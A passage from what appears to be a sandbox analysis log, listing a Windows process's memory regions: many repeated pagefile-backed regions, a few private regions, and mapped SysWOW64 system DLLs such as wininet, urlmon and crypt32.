0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 702 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 703 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 704 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 705 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 706 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 707 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 708 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 709 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 710 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 711 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 712 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 713 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 714 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 715 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 716 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 717 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 718 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 719 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 720 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 721 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 722 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 723 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 724 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 725 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 726 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 727 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 728 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 729 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 730 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 731 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 732 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 733 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 734 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 735 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 736 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 737 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 738 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 739 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 740 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 741 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 742 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 743 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 744 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 745 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 746 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 747 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 748 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 749 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 750 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 751 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 752 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 753 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 754 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 756 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 757 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 758 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 759 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 760 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 761 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 762 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 763 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 764 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 765 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 766 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 767 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 768 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 769 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 770 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 771 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 772 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 773 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 774 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 775 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 776 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 777 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 778 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 779 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 780 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 781 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 782 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 783 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 784 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 785 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 786 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 787 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 788 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 789 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 790 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 791 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 792 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 793 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 794 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 795 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 796 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 797 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 798 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 799 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 800 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 801 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 802 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 803 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 804 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 805 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 806 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 807 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 808 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 809 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 810 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 811 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 812 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 813 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 814 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 815 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 816 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 817 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 818 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 819 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 820 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 821 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 822 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 823 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 824 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 825 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 826 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 827 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 828 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 829 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 830 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 831 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 832 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 833 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 834 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 835 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 836 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 837 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 838 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 839 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 840 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 841 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 842 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 843 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 844 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 845 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 846 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 847 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 848 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 849 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 850 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 851 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 852 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 853 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 854 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 855 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 856 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 857 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 858 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 859 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 860 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 861 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 862 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 863 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 864 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 865 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 866 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 867 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 868 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 869 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 870 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 871 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 872 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 873 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 874 start_va = 0x120000 end_va = 0x120fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 875 start_va = 0x130000 end_va = 0x130fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 877 start_va = 0x751c0000 end_va = 0x75216fff monitored = 0 entry_point = 0x751d9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 878 start_va = 0x75740000 end_va = 0x7589bfff monitored = 0 entry_point = 0x7578ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 880 start_va = 0x755b0000 end_va = 0x756a4fff monitored = 0 entry_point = 0x755b1865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 883 start_va = 0x74de0000 end_va = 0x74f15fff monitored = 0 entry_point = 0x74de1b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 884 start_va = 0x75130000 end_va = 0x751befff monitored = 0 entry_point = 0x75133fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 885 start_va = 0x74ab0000 end_va = 0x74bd0fff monitored = 0 entry_point = 0x74ab158e region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 889 start_va = 0x76ed0000 end_va = 0x76edbfff monitored = 0 entry_point = 0x76ed238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 892 start_va = 0x74f30000 end_va = 0x7512afff monitored = 0 entry_point = 0x74f322d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 941 start_va = 0x75be0000 end_va = 0x76829fff monitored = 0 entry_point = 0x75c61601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 943 start_va = 0x749f0000 end_va = 0x74a06fff monitored = 0 entry_point = 0x749f35fa region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 949 start_va = 0x73a10000 end_va = 0x73a8ffff monitored = 0 entry_point = 0x73a237c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 950 start_va = 0x790000 end_va = 0x84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 951 start_va = 